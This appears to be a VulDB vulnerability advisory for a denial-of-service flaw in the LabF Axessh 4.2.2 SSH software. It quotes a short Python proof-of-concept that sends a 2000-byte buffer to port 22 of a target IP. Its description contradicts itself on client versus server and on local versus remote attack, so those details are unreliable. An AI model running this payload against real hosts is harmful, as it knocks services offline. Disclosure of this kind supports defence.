LabF Axessh SSH Client 4.2.2 denial of service

Summaryinfo

A vulnerability, which was classified as problematic, was found in LabF Axessh SSH Client 4.2.2. This issue affects some unknown processing. Such manipulation leads to denial of service. An attack has to be approached locally. Furthermore, there is an exploit available.

Detailsinfo

A vulnerability was found in LabF Axessh SSH Client 4.2.2 (SSH Server Software). It has been rated as problematic. Affected by this issue is some unknown functionality. The manipulation with an unknown input leads to a denial of service vulnerability. Using CWE to declare the problem leads to CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. Impacted is availability.

The weakness was shared 11/05/2016 by John Page (hyp3rlinx) as Axessh 4.2.2 Denial Of Service as not defined mailinglist post (Full-Disclosure). The advisory is shared for download at seclists.org. The exploitation is known to be easy. The attack needs to be approached locally. A simple authentication is required for exploitation. Technical details are unknown but a public exploit is available.

A public exploit has been developed by John Page and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The code used by the exploit is:

import socket

print "Axessh 4.2.2 XwpSSHD (wsshd.exe) Remote Denial Of Service"

ip = raw_input("[IP]> ")
port = 22
payload="A"*2000
s=socket.create_connection((ip,port))
s.send(payload)

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Once again VulDB remains the best source for vulnerability data.

Productinfo

Type

• SSH Server Software

Vendor

• LabF

Name

• Axessh SSH Client

Version

• 4.2.2

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Once again VulDB remains the best source for vulnerability data.

Discussion